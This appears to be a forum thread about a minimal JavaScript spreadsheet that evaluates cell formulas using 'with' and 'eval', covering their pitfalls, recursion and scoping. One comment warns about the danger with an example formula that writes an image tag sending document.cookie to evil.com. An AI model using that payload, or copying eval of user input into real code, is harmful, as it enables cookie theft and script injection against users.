with (DATA)
now that's just genius. I hate writing token parsing.
with (DATA)
now that's just genius. I hate writing token parsing.
Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'.
Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s
Are these statements still true ?
Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie +'">');
eval of user input is just not safe, and the with statement also presents problems, such as =INPUT
It seems like that would be somewhat XSS safe since you are just passing strings back and forth.
I really like this idea.
evalSafeAsync(code,context,callback)
That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls.
That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil.
Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple.
They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.
Consider the formula =A1+A2
inside the getter we have:
with(DATA) eval('A1+A2');
Which is basically the same as: eval('DATA.A1+DATA.A2');
Inside the eval, the getter for A1, and A2 will be called. This will continue until non-formulas are reached and value is returned. The other possibility, is you get an infinite amount of recursion, which causes an error that is caught in the try/catch block. For instance, if you put =A1 in A1, the DATA.A1 getter gets called 1000's of times, eventually causing a stack overflow, which is caught by the try/catch block.If you put =A1 in A1, and =A2 in A2, it crashes the web inspector for me.
I am lost as to why putting =A1 in A1 doesn't cause an infinite loop. Why doesn't eval (DATA.A1) not trigger the getter and hence an infinite loop?
Firefox does a similar thing, by throwing a "too much recursion" error.
If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!
[1] I just finished skimming through eloquent js and js allonge, and this still eluded me.
context = { foo: 1, bar: 2 };
with (context) {
foo = 2;
bar = 3;
}
That will probably do what you expect. But now say you run it where context is just ... context = { foo: 1 };
with (context) {
foo = 2;
bar = 3;
}
... you might think this would add a 'bar' property to your context object, but in fact it creates a global variable bar. Whoops!In short, 'with' is pointy on both ends.